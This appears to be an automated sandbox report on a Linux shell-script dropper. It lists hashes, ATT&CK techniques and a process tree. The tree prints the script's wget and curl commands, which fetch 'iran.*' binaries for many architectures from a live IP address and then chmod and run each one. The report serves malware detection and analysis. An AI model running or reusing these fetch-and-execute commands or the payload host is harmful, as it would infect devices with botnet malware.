0235a4e1c119c8419f8acb6e541aacfa0ca33892412b997cc8c71258cae15a61

Analysis

max time kernel
31s
max time network
34s
platform
debian-9_mips
resource
debian9-mipsbe-20251231-en
resource tags

arch:mipsimage:debian9-mipsbe-20251231-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
06/01/2026, 06:30

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General

Target
cat.sh
Size 1KB
Sample260106-g9m4raxphp
SHA256 0235a4e1c119c8419f8acb6e541aacfa0ca33892412b997cc8c71258cae15a61
MD5 d4591b4e1c9a80da841ccc3fecebfeaa
SHA1 e6e473d251576db53adacc8ee56374b44edf0d08
SHA512 f71c90157f70c5f1e4443349004838f920ec0b781ede49e41f670a7a3a90b27ac2dfbc276eafe39e6949ff574836af4547ed06b525565c9294bca1a0e4210b0a
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
823	chmod
850	chmod
854	chmod
869	chmod
741	chmod
744	chmod
749	chmod
791	chmod
858	chmod
862	chmod
873	chmod
767	chmod
808	chmod
812	chmod

Deletes itself 1 IoCs

pid	Process
772	iran.mips

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	742	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	772	iran.mips

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/4/status	iran.mips
File opened for reading	/proc/23/cmdline	iran.mips
File opened for reading	/proc/23/comm	iran.mips
File opened for reading	/proc/341/comm	iran.mips
File opened for reading	/proc/6/stat	iran.mips
File opened for reading	/proc/11/stat	iran.mips
File opened for reading	/proc/12/cmdline	iran.mips
File opened for reading	/proc/36/stat	iran.mips
File opened for reading	/proc/36/status	iran.mips
File opened for reading	/proc/5/comm	iran.mips
File opened for reading	/proc/24/comm	iran.mips
File opened for reading	/proc/68/comm	iran.mips
File opened for reading	/proc/76/comm	iran.mips
File opened for reading	/proc/336/comm	iran.mips
File opened for reading	/proc/22/status	iran.mips
File opened for reading	/proc/662/comm	iran.mips
File opened for reading	/proc/769/comm	iran.mips
File opened for reading	/proc/2/stat	iran.mips
File opened for reading	/proc/2/cmdline	iran.mips
File opened for reading	/proc/8/stat	iran.mips
File opened for reading	/proc/16/cmdline	iran.mips
File opened for reading	/proc/367/comm	iran.mips
File opened for reading	/proc/714/comm	iran.mips
File opened for reading	/proc/3/cmdline	iran.mips
File opened for reading	/proc/6/cmdline	iran.mips
File opened for reading	/proc/7/cmdline	iran.mips
File opened for reading	/proc/14/status	iran.mips
File opened for reading	/proc/19/stat	iran.mips
File opened for reading	/proc/37/cmdline	iran.mips
File opened for reading	/proc/37/comm	iran.mips
File opened for reading	/proc/152/comm	iran.mips
File opened for reading	/proc/422/comm	iran.mips
File opened for reading	/proc/772/stat	iran.mips
File opened for reading	/proc/19/status	iran.mips
File opened for reading	/proc/67/status	iran.mips
File opened for reading	/proc/387/comm	iran.mips
File opened for reading	/proc/8/cmdline	iran.mips
File opened for reading	/proc/9/stat	iran.mips
File opened for reading	/proc/15/cmdline	iran.mips
File opened for reading	/proc/36/cmdline	iran.mips
File opened for reading	/proc/68/status	iran.mips
File opened for reading	/proc/711/comm	iran.mips
File opened for reading	/proc/24/cmdline	iran.mips
File opened for reading	/proc/2/comm	iran.mips
File opened for reading	/proc/13/comm	iran.mips
File opened for reading	/proc/16/comm	iran.mips
File opened for reading	/proc/18/comm	iran.mips
File opened for reading	/proc/21/status	iran.mips
File opened for reading	/proc/12/comm	iran.mips
File opened for reading	/proc/79/comm	iran.mips
File opened for reading	/proc/17/cmdline	iran.mips
File opened for reading	/proc/71/cmdline	iran.mips
File opened for reading	/proc/14/comm	iran.mips
File opened for reading	/proc/674/comm	iran.mips
File opened for reading	/proc/5/status	iran.mips
File opened for reading	/proc/7/stat	iran.mips
File opened for reading	/proc/22/cmdline	iran.mips
File opened for reading	/proc/68/stat	iran.mips
File opened for reading	/proc/71/status	iran.mips
File opened for reading	/proc/72/status	iran.mips
File opened for reading	/proc/11/comm	iran.mips
File opened for reading	/proc/713/comm	iran.mips
File opened for reading	/proc/19/cmdline	iran.mips
File opened for reading	/proc/10/cmdline	iran.mips

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
753	wget
768	iran.mips
771	wget
792	iran.mipsel

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sparc	wget
File opened for modification	/tmp/iran.i486	wget
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.x86_64	curl
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv7l	wget
File opened for modification	/tmp/iran.aarch64	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.mipsel	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:714
- /usr/bin/wget
  wget http://201.149.127.158/iran.x86_64
  2⤵
  PID:716
- /usr/bin/curl
  curl http://201.149.127.158/iran.x86_64 -o iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  PID:742
- /bin/sh
  /bin/sh ./iran.x86_64
  2⤵
  PID:742
- /usr/bin/wget
  wget http://201.149.127.158/iran.aarch64
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 iran.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/iran.aarch64
  ./iran.aarch64
  2⤵
  PID:745
- /usr/bin/wget
  wget http://201.149.127.158/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:751
- /usr/bin/wget
  wget http://201.149.127.158/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:768
- /usr/bin/wget
  wget http://201.149.127.158/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/wget
  wget http://201.149.127.158/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:809
- /usr/bin/wget
  wget http://201.149.127.158/iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:813
- /usr/bin/wget
  wget http://201.149.127.158/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:825
- /usr/bin/wget
  wget http://201.149.127.158/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:851
- /usr/bin/wget
  wget http://201.149.127.158/iran.i486
  2⤵
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/iran.i486
  ./iran.i486
  2⤵
  PID:855
- /usr/bin/wget
  wget http://201.149.127.158/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  PID:859
- /usr/bin/wget
  wget http://201.149.127.158/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  PID:863
- /usr/bin/wget
  wget http://201.149.127.158/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:870
- /usr/bin/wget
  wget http://201.149.127.158/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:872
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  PID:874

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 277B
SHA256 e293a9b5e7fb0fdfa9a28f803a92fff8896b828a4d03e2e070739439082f6de8
MD5 15c3d50f3848b01d2acb33448ebca180
SHA1 191b8db0ff82e80160ca9894405e6be5722b4ad6
SHA512 a1db762f33f37009a1f7cb0a298b54b084ae86361c6f107cbdd7b60a44b227df23b5537fb9eb297e8c1a5322a3de5823b7d412db3af0de267c2ffa496c995b5b
MD5 SHA1 SHA512

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